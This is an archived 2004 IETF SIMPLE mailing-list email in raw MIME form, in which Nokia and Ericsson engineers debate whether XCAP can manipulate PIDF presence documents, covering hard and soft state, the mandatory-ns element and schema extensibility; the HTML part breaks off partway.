X-Scanned: Wed, 3 Mar 2004 09:46:46 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i237kkJu014975;
	Wed, 3 Mar 2004 09:46:46 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00aUeHhP; Wed, 03 Mar 2004 09:46:44 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i237kh724309;
	Wed, 3 Mar 2004 09:46:43 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 09:46:40 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C400F3.AA901BBB"
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A7054D5B27@esebe018.ntc.nokia.com>
Thread-Topic: Comments on PIDF-Manipulation Usage-00draft  (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)
Thread-Index: AcQAzEdafG3BPCx8QDaGqUv+FFY7RAACXK7Q
To: <george.foti@ericsson.com>, <simple@ietf.org>
X-OriginalArrivalTime: 03 Mar 2004 07:46:40.0708 (UTC) FILETIME=[AA477840:01C400F3]
Subject: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 09:46:41 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.8 required=5.0 tests=AWL,HTML_30_40,
	HTML_FONTCOLOR_BLUE,HTML_MESSAGE,NO_REAL_NAME autolearn=no 
	version=2.60

This is a multi-part message in MIME format.

------_=_NextPart_001_01C400F3.AA901BBB
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi George,
=20
Section 4.7 in XCAP defines the following:
=20
   A server is required to understand the baseline schema defined
   by the application usage. However, those schemas can define points of
   extensibility where new content can be added from other namespaces
   and corresponding schemas. Sometimes, the server will understand
   those namespaces and therefore have access to their schemas.
   Sometimes, it will not.

   A server MUST allow for documents that contain elements from
   namespaces not known to the server. In such a case, the server cannot
   validate that such content is schema compliant; it will only verify
   that the XML is well-formed.
=20
In this case the baseline schema is the one defined in PIDF =
soon-to-become RFC. RPID, CIPID etc. extend PIDF in the allowed points =
of extensibility. There is nothing in those namespaces that the server =
really needs to understand. This means that the mandatory-ns mechanism =
(which itself will probably change in the next rev of XCAP), would not =
be needed.
=20
Does this clarify your concerns?
=20
Markus=20

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 05:03
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: RE: Comments on PIDF-Manipulation Usage-00draft (was RE: =
Comments on draft-isomaki-simple-xcap-publish-usage-00)


Hi Markus,
I would like to adrress the following statement below that I cut from =
the original exchange:
=20
1)  First, a presentity can publish several PIDF documents using SIP =
PUBLISH. Then, she can have a single "hard state" PIDF document =
manipulated with XCAP. All of these can contain any number of tuples. =
All this is fed into magic called "event state compositor", which =
produces a single consistent presence document. The fact that the =
compositor logic has been left as implementation specific is a feature =
(or a deficiency) in SIMPLE, and this draft makes it no worse. I agree =
that there will be interoperability issues with how things with the =
composition definition are at the moment, but this draft does not cause =
the problem.
=20
/gf
There is no  stand alone "hard state" PIDF document that is defined =
today that can be solely managed by XCAP.
XCAP requires an XML document with an XML schema to be able to properly =
verify operations.
What you have in mind, I think, is a number of tuples from various =
defined presence documents (PIDF, RPID, etc..) that you want to manage =
using XCAP.
=20
Unless you create such a *stand alone* XMP document for hard states, I =
dont beleive that you can do what you want with XCAP, without creating =
interoperability problems, or open the door for abuses that would =
require complexities to overcome.
gf/
2) Based on this I assume PIDF would still be OK for XCAP as it is now.
=20
This is where I beleive that what you want can only be done with a *new =
stand-alone* XML  document. For example, the XCAP framework requires the =
inclusion of the mandatory-ns element, if you would include in the XML =
document managed by XCAP, elements from other name spaces.
That today is not part of PIDF.  The tuples you want XCAP to manage are =
not part of PIDF, rather other presence documents.
So how would that work then.
=20

-----Original Message-----
From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
Sent: Tuesday, March 02, 2004 9:23 PM
To: George Foti (QA/EMC); simple@ietf.org
Subject: RE: Comments on PIDF-Manipulation Usage-00draft (was RE: =
Comments on draft-isomaki-simple-xcap-publish-usage-00)


Hi,
=20
OK, this time I understood your points much better.
=20
Comments starting with [MI] inline:

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 03:52
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: Comments on PIDF-Manipulation Usage-00draft (was RE: Comments =
on draft-isomaki-simple-xcap-publish-usage-00)


Sorry, I had the wrong draft in the subject, but I meant the PIDF =
Manipulation draft.
Comments inline/gf

-----Original Message-----
From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
Sent: Tuesday, March 02, 2004 8:24 PM
To: George Foti (QA/EMC); simple@ietf.org
Subject: RE: Comments on draft-isomaki-simple-xcap-publish-usage-00


Hi George,
=20
First of all, the document you are referring to has been updated with =
this one:
http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipu=
lation-usage-00.txt
=20
I'll submit the WG version shortly after the meeting. The changes =
compared to the version you read are mainly clarifications, so I think =
your comments would apply to the new draft as well. My anwers to each =
point below:
=20
1) XCAP operations are hard state by nature, no refreshing is needed, so =
this is inherently hard state manipulation.=20
/gf=20
Agree, but how do you prevent users, from using XCAP from manipulating =
presence soft states.
I assume that all the presence tuples are part of the same presence =
document.=20
Now you are advocating selective manipluation of some tuples and not =
others using XCAP.
Have I misunderstood something here ?
How will you enforce that ?
gf/
=20
[MI] OK, I think I know what you mean. The model for how the final =
presence document is put together is shown in the draft in Chapter 3. =
First, a presentity can publish several PIDF documents using SIP =
PUBLISH. Then, she can have a single "hard state" PIDF document =
manipulated with XCAP. All of these can contain any number of tuples. =
All this is fed into magic called "event state compositor", which =
produces a single consistent presence document. The fact that the =
compositor logic has been left as implementation specific is a feature =
(or a deficiency) in SIMPLE, and this draft makes it no worse. I agree =
that there will be interoperability issues with how things with the =
composition definition are at the moment, but this draft does not cause =
the problem.
=20
 2) The default model I have in mind is that each presentity would have =
exactly one persistent device-independent presence document that would =
be manipulated by XCAP. That would be fed to the composition logic to =
complement the PUA/device-specific documents published using SIP PUBLISH =
mechanism. =20
XCAP is meant to be a generic XML-manipulation mechanism, so there =
should be nothing specific in this application usage. Once the base XCAP =
is finished, we'll see what the exact mechanisms to mandate supported =
namespaces are, and we'll adopt that convention in this draft too. This =
is probably still changing from xcap-02 draft, as was discussed in =
SIMPLE session. =20
=20
/gf
Not totally true
XCAP have a limited set of rules for HTTP URI creation.
So it is not meant for *any* XML document.
I think the XCAP framework is clear on that
You would need to expand those rules, which can complicate things quite =
a lot, not to mention slow things down, to make it more generic.=20
gf/=20
=20
[MI] I think you are right on this one, my previous statement was wrong. =
XCAP can have problems with handling *any* XML document, if the selector =
construction will be restricted to only limited number of possibilities. =
However, see Jonathan's mail attached to this mail. Based on this I =
assume PIDF would still be OK for XCAP as it is now.
=20
3) I'm not sure if I understood the question. This is not a template for =
any applications that want to use XCAP, this is standardizing how XCAP =
is used to manipulate PIDF-formatted presence documents. As there is no =
computed data or anything, I guess an app usage for any XML doc would be =
quite similar to this one.=20
=20
/gf
For event packages we have a template that have to be filled by for =
anyone who wants to create a new event package.
So I am asking if your document presents a template, similar to the =
event package approach. (forget about the content for your application)
I am not sure if I am clear on that one.=20
gf/=20
=20
[MI] OK, I got the question, thanks. Yes, we tried to follow the =
structure/template how Jonathan has defined the other existing XCAP =
application usages. So it should be according to how XCAP AUs are =
ssupposed to be specified.=20
=20
4) Surely there are many ways to manipulate PIDF documents. However, in =
context of SIMPLE, XCAP is a natural choice since it's needed already in =
any advanced presence-capable device. Could you explain what kind of =
complexities you mean? This is as simple an XCAP usage as there can be. =
Are you saying that XCAP in itself is complex? A more simple way would =
be to use just normal HTTP PUT and DELETE, but since we have XCAP at our =
disposal, why not use it.=20
=20
/gf
The complexities will arise if we allow users to do selective =
manipulation, using XCAP, for certain tuples *only*, and using PUBLISH =
for the remaining tuples.
So I need to see your answer first to my response to your first  bullet =
before I go further
 gf/=20
=20
[MI] As I explained above, you can already PUBLISH several documents and =
there has to be a way to do composition. So the complexity is already =
inbuilt in SIMPLE, it is not in this sense extended here.
=20
Markus

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 02:47
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: Comments on draft-isomaki-simple-xcap-publish-usage-00




Hi Markus,=20

I have some comments on your draft:=20

1) Although you indicate that this should be used only for hard states, =
what is there to prevent users from manipulating other presence states =
in there through XCAP.

2) XCAP is meant to be used for documents that are created to take =
advantage of the defined XCAP rules for HTTP URI creation. Which XML =
presence documents in particular are you proposing that they get =
manipulated by XCAP. =20

How do you ensure that the current XCAP rules are suffiicient for the =
purpose you have in mind. I also doubt that you can use the current XML =
presence documents (PIDF and extensions) for XCAP purposes as is. For =
example, should there not be the element mandatory-ns, in there, as per =
the XCAP framework.

3) Is this template meant to be a generic template to be used by all =
applications that want to use XCAP.=20

4) Finally, I believe that there are other, out-of-band means, to =
accomplish your goals, i.e. manipulate hard states, without the =
unwarranted complexities that the draft creates. Thus, there must be =
explicit references in the draft to that fact. =20

/gf=20
Ericsson Canada=20



This communication is confidential and intended solely for the =
addressee(s). Any unauthorized review, use, disclosure or distribution =
is prohibited. If you believe this message has been sent to you in =
error, please notify the sender by replying to this transmission and =
delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, =
interruption, unauthorized amendment, tampering and viruses, and we only =
send and receive e-mails on the basis that we are not liable for any =
such corruption, interception, amendment, tampering or viruses or any =
consequences thereof.=20



This communication is confidential and intended solely for the =
addressee(s). Any unauthorized review, use, disclosure or distribution =
is prohibited. If you believe this message has been sent to you in =
error, please notify the sender by replying to this transmission and =
delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, =
interruption, unauthorized amendment, tampering and viruses, and we only =
send and receive e-mails on the basis that we are not liable for any =
such corruption, interception, amendment, tampering or viruses or any =
consequences thereof.=20



This communication is confidential and intended solely for the =
addressee(s). Any unauthorized review, use, disclosure or distribution =
is prohibited. If you believe this message has been sent to you in =
error, please notify the sender by replying to this transmission and =
delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, =
interruption, unauthorized amendment, tampering and viruses, and we only =
send and receive e-mails on the basis that we are not liable for any =
such corruption, interception, amendment, tampering or viruses or any =
consequences thereof.=20


------_=_NextPart_001_01C400F3.AA901BBB
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<TITLE>Comments on draft-isomaki-simple-xcap-publish-usage-00</TITLE>

<META content=3D"MSHTML 5.50.4611.1300" name=3DGENERATOR></HEAD>
<BODY>
<DIV><SPAN class=3D120231204-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2>Hi=20
George,</FONT></SPAN></DIV>
<DIV><SPAN class=3D120231204-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D120231204-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2>Section 4.7 in XCAP defines the following:</FONT></SPAN></DIV>
<DIV><SPAN class=3D120231204-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D120231204-03032004><FONT face=3DArial>&nbsp;&nbsp; A =
server is=20
required to understand the baseline schema defined<BR>&nbsp;&nbsp; by =
the=20
application usage. However, those schemas can define points =
of<BR>&nbsp;&nbsp;=20
extensibility where new content can be added from other=20
namespaces<BR>&nbsp;&nbsp; and corresponding schemas. Sometimes, the =
server will=20
understand<BR>&nbsp;&nbsp; those namespaces and therefore have access to =
their=20
schemas.<BR>&nbsp;&nbsp; Sometimes, it will not.<BR><BR>&nbsp;&nbsp; A =
server=20
MUST allow for documents that contain elements from<BR>&nbsp;&nbsp; =
namespaces=20
not known to the server. In such a case, the server =
cannot<BR>&nbsp;&nbsp;=20
validate that such content is schema compliant; it will only=20
verify<BR>&nbsp;&nbsp; that the XML is well-formed.</FONT></SPAN></DIV>
<DIV><SPAN class=3D120231204-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D120231204-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2>In=20
this case the baseline schema is the one defined in PIDF soon-to-become =
RFC.=20
RPID, CIPID etc.&nbsp;extend PIDF in&nbsp;the allowed points of =
extensibility.=20
There is nothing in those namespaces&nbsp;that the server&nbsp;really =
needs to=20
understand.&nbsp;This means that the mandatory-ns mechanism (which =
itself will=20
probably change in the next rev of XCAP), would not be=20
needed.</FONT></SPAN></DIV>
<DIV><SPAN class=3D120231204-03032004></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D120231204-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2>Does=20
this clarify your concerns?</FONT></SPAN></DIV>
<DIV><SPAN class=3D120231204-03032004></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D120231204-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2>Markus</FONT>&nbsp;</SPAN></DIV>
<BLOCKQUOTE=20
style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> ext George Foti =
(QA/EMC)=20
  [mailto:george.foti@ericsson.com]<BR><B>Sent:</B> 03 March, 2004=20
  05:03<BR><B>To:</B> Isomaki Markus (Nokia-NRC/Helsinki);=20
  simple@ietf.org<BR><B>Subject:</B> RE: Comments on PIDF-Manipulation=20
  Usage-00draft (was RE: Comments on=20
  draft-isomaki-simple-xcap-publish-usage-00)<BR><BR></FONT></DIV>
  <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
  class=3D769514202-03032004>Hi =
Markus,</SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT size=3D+0><FONT size=3D+0><FONT size=3D+0><FONT =
size=3D+0><FONT face=3DArial=20
  color=3D#0000ff size=3D2><SPAN class=3D769514202-03032004>I would like =
to adrress=20
  the following statement below that I cut from the original=20
  exchange:</SPAN></FONT></FONT></FONT></FONT></FONT></DIV>
  <DIV><FONT size=3D+0><FONT size=3D+0><FONT size=3D+0><FONT =
size=3D+0><FONT face=3DArial=20
  color=3D#0000ff size=3D2><SPAN=20
  =
class=3D769514202-03032004></SPAN></FONT></FONT></FONT></FONT></FONT>&nbs=
p;</DIV>
  <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
  class=3D769514202-03032004>1)&nbsp; </SPAN>First,&nbsp;a presentity =
can publish=20
  several PIDF documents using SIP PUBLISH. Then, she can have a single =
"hard=20
  state" PIDF&nbsp;document manipulated with XCAP. All of these can =
contain any=20
  number of tuples. All this is fed into magic called "event state =
compositor",=20
  which produces a single consistent presence document. The fact that =
the=20
  compositor logic has been left as implementation specific is a feature =
(or a=20
  deficiency) in SIMPLE, and this draft makes it no worse. I agree that =
there=20
  will be interoperability issues with how things with the composition=20
  definition are at the moment, but this draft does not cause the=20
  problem.</FONT></FONT></FONT></DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
  class=3D769514202-03032004></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
  class=3D769514202-03032004>/gf</SPAN></FONT></DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
  class=3D769514202-03032004>There is no&nbsp; stand alone "hard state" =
PIDF=20
  document that is defined today that can be solely managed by=20
  XCAP.</SPAN></FONT></DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN =
class=3D769514202-03032004>XCAP=20
  requires an XML document with an XML schema to be able to properly =
verify=20
  operations.</SPAN></FONT></DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN =
class=3D769514202-03032004>What=20
  you have in mind, I think, is a number of tuples from various defined =
presence=20
  documents&nbsp;(PIDF, RPID, etc..) that you&nbsp;want to manage using=20
  XCAP.</SPAN></FONT></DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
  class=3D769514202-03032004></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
  class=3D769514202-03032004>Unless you create such a&nbsp;*stand alone* =
XMP=20
  document for hard states, I dont beleive that you can do what you want =
with=20
  XCAP, without creating interoperability problems, or open the door for =
abuses=20
  that would require complexities to overcome.</SPAN></FONT></DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
  class=3D769514202-03032004></SPAN></FONT><FONT face=3DArial =
color=3D#0000ff=20
  size=3D2><SPAN class=3D769514202-03032004></SPAN></FONT><FONT =
face=3DArial=20
  color=3D#0000ff size=3D2><SPAN =
class=3D769514202-03032004>gf/</SPAN></FONT></DIV>
  <DIV><SPAN class=3D769514202-03032004><FONT face=3DArial =
color=3D#0000ff size=3D2>2)=20
  Based on this I assume PIDF would still be OK for XCAP as it is=20
  now.</FONT></SPAN></DIV>
  <DIV><SPAN class=3D769514202-03032004><FONT face=3DArial =
color=3D#0000ff=20
  size=3D2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=3D769514202-03032004><FONT face=3DArial =
color=3D#0000ff size=3D2>This=20
  is where I beleive that what you want can only be done with a *new=20
  stand-alone* XML &nbsp;document. For&nbsp;example, the =
XCAP&nbsp;framework=20
  requires the inclusion of the mandatory-ns element, if you would =
include in=20
  the XML document managed by XCAP, elements from other name=20
  spaces.</FONT></SPAN></DIV>
  <DIV><SPAN class=3D769514202-03032004><FONT face=3DArial =
color=3D#0000ff size=3D2>That=20
  today is not part of PIDF.&nbsp; The tuples you want XCAP to manage =
are not=20
  part of PIDF, rather other presence documents.</FONT></SPAN></DIV>
  <DIV><SPAN class=3D769514202-03032004><FONT face=3DArial =
color=3D#0000ff size=3D2>So=20
  how would that work then.</FONT></SPAN></DIV>
  <DIV><SPAN class=3D769514202-03032004><FONT face=3DArial =
color=3D#0000ff=20
  size=3D2></FONT></SPAN>&nbsp;</DIV>
  <BLOCKQUOTE dir=3Dltr=20
  style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid; MARGIN-RIGHT: 0px">
    <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
    size=3D2>-----Original Message-----<BR><B>From:</B> =
Markus.Isomaki@nokia.com=20
    [mailto:Markus.Isomaki@nokia.com]<BR><B>Sent:</B> Tuesday, March 02, =
2004=20
    9:23 PM<BR><B>To:</B> George Foti (QA/EMC);=20
    simple@ietf.org<BR><B>Subject:</B> RE: Comments on PIDF-Manipulation =

    Usage-00draft (was RE: Comments on=20
    draft-isomaki-simple-xcap-publish-usage-00)<BR><BR></FONT></DIV>
    <DIV><SPAN class=3D182215601-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2>Hi,</FONT></SPAN></DIV>
    <DIV><SPAN class=3D182215601-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2></FONT></SPAN>&nbsp;</DIV>
    <DIV><SPAN class=3D182215601-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2>OK, this time I understood your points much=20
    better.</FONT></SPAN></DIV>
    <DIV><SPAN class=3D182215601-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2></FONT></SPAN>&nbsp;</DIV>
    <DIV><SPAN class=3D182215601-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2>Comments&nbsp;starting with [MI] =
inline:</FONT></SPAN></DIV>
    <BLOCKQUOTE=20
    style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff =
2px solid">
      <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
      size=3D2>-----Original Message-----<BR><B>From:</B> ext George =
Foti (QA/EMC)=20
      [mailto:george.foti@ericsson.com]<BR><B>Sent:</B> 03 March, 2004=20
      03:52<BR><B>To:</B> Isomaki Markus (Nokia-NRC/Helsinki);=20
      simple@ietf.org<BR><B>Subject:</B> Comments on PIDF-Manipulation=20
      Usage-00draft (was RE: Comments on=20
      draft-isomaki-simple-xcap-publish-usage-00)<BR><BR></FONT></DIV>
      <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
      class=3D509473301-03032004>Sorry, I had the wrong draft in the =
subject, but=20
      I meant the PIDF Manipulation draft.</SPAN></FONT></DIV>
      <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
      class=3D509473301-03032004>Comments inline/gf</SPAN></FONT></DIV>
      <BLOCKQUOTE dir=3Dltr=20
      style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff =
2px solid; MARGIN-RIGHT: 0px">
        <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
        size=3D2>-----Original Message-----<BR><B>From:</B>=20
        Markus.Isomaki@nokia.com=20
        [mailto:Markus.Isomaki@nokia.com]<BR><B>Sent:</B> Tuesday, March =
02,=20
        2004 8:24 PM<BR><B>To:</B> George Foti (QA/EMC);=20
        simple@ietf.org<BR><B>Subject:</B> RE: Comments on=20
        draft-isomaki-simple-xcap-publish-usage-00<BR><BR></FONT></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
        size=3D2>Hi George,</FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
        size=3D2></FONT></SPAN>&nbsp;</DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
        size=3D2>First of all, the document you are referring to has =
been updated=20
        with this one:</FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
        size=3D2><A=20
        =
href=3D"http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pid=
f-manipulation-usage-00.txt">http://www.ietf.org/internet-drafts/draft-is=
omaki-simple-xcap-pidf-manipulation-usage-00.txt</A></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
        size=3D2></FONT></SPAN>&nbsp;</DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
        size=3D2>I'll submit the WG version shortly after the meeting. =
The changes=20
        compared to the version you&nbsp;read&nbsp;are mainly =
clarifications, so=20
        I think your comments would apply to the new draft as well. My =
anwers to=20
        each point below:</FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
        size=3D2></FONT></SPAN>&nbsp;</DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
        size=3D2>1) XCAP operations are hard state by nature, no =
refreshing is=20
        needed, so this is inherently hard state manipulation.=20
        </FONT></SPAN></DIV>
        <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT =
size=3D2><SPAN=20
        class=3D902344900-03032004><SPAN=20
        =
class=3D509473301-03032004>/gf&nbsp;</SPAN></SPAN></FONT></FONT></FONT></=
DIV>
        <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT =
size=3D2><SPAN=20
        class=3D902344900-03032004><SPAN =
class=3D509473301-03032004>Agree, but how=20
        do you prevent users, from using XCAP from manipulating presence =
soft=20
        states.</SPAN></SPAN></FONT></FONT></FONT></DIV>
        <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT =
size=3D2><SPAN=20
        class=3D902344900-03032004><SPAN class=3D509473301-03032004>I =
assume that=20
        all the presence tuples are part of the same presence document.=20
        </SPAN></SPAN></FONT></FONT></FONT></DIV>
        <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT =
size=3D2><SPAN=20
        class=3D902344900-03032004><SPAN class=3D509473301-03032004>Now =
you are=20
        advocating selective manipluation of some tuples and not others =
using=20
        XCAP.</SPAN></SPAN></FONT></FONT></FONT></DIV>
        <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT =
size=3D2><SPAN=20
        class=3D902344900-03032004><SPAN class=3D509473301-03032004>Have =
I=20
        misunderstood something here =
?</SPAN></SPAN></FONT></FONT></FONT></DIV>
        <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT =
size=3D2><SPAN=20
        class=3D902344900-03032004><SPAN class=3D509473301-03032004>How =
will you=20
        enforce that ?</SPAN></SPAN></FONT></FONT></FONT></DIV>
        <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT =
size=3D2><SPAN=20
        class=3D902344900-03032004><SPAN=20
        =
class=3D509473301-03032004>gf/</SPAN></SPAN></FONT></FONT></FONT></DIV>
        <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT =
size=3D2><SPAN=20
        class=3D902344900-03032004><SPAN=20
        =
class=3D509473301-03032004></SPAN></SPAN></FONT></FONT></FONT>&nbsp;</DIV=
>
        <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
        class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><SPAN=20
        class=3D182215601-03032004>[MI] OK, I think I know what you =
mean. The=20
        model for how the final presence document is put together is =
shown in=20
        the draft in Chapter 3. First,&nbsp;a presentity can publish =
several=20
        PIDF documents using SIP PUBLISH. Then, she can have a single =
"hard=20
        state" PIDF&nbsp;document manipulated with XCAP. All of these =
can=20
        contain any number of tuples. All this is fed into magic called =
"event=20
        state compositor", which produces a single consistent presence =
document.=20
        The fact that the compositor logic has been left as =
implementation=20
        specific is a feature (or a deficiency) in SIMPLE, and this =
draft makes=20
        it no worse. I agree that there will be interoperability issues =
with how=20
        things with the composition definition are at the moment, but =
this draft=20
        does not cause the problem.</SPAN></SPAN></SPAN></FONT></DIV>
        <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT =
size=3D2><SPAN=20
        class=3D902344900-03032004><SPAN=20
        =
class=3D509473301-03032004></SPAN></SPAN></FONT></FONT></FONT>&nbsp;</DIV=
>
        <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT =
size=3D2><SPAN=20
        class=3D902344900-03032004><SPAN =
class=3D509473301-03032004>&nbsp;</SPAN>2)=20
        The default model I have in mind is that each presentity would =
have=20
        exactly one persistent device-independent presence document that =
would=20
        be manipulated by XCAP. That would be fed to the composition =
logic to=20
        complement the PUA/device-specific documents published using SIP =
PUBLISH=20
        mechanism.<SPAN =
class=3D509473301-03032004>&nbsp;</SPAN></SPAN><SPAN=20
        class=3D902344900-03032004><SPAN=20
        =
class=3D509473301-03032004>&nbsp;</SPAN></SPAN></FONT></FONT></FONT></DIV=
>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2>XCAP is meant to be a generic=20
        XML-manipulation mechanism, so there should be nothing specific =
in this=20
        application usage. Once the base XCAP is finished, we'll see =
what the=20
        exact mechanisms to mandate supported namespaces are, and we'll =
adopt=20
        that convention in this draft too. This is probably still =
changing from=20
        xcap-02 draft, as was discussed in SIMPLE session.&nbsp;<SPAN=20
        =
class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV=
>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN=20
        =
class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV=
>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN=20
        =
class=3D509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>
        <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
        color=3D#0000ff><FONT size=3D2><SPAN =
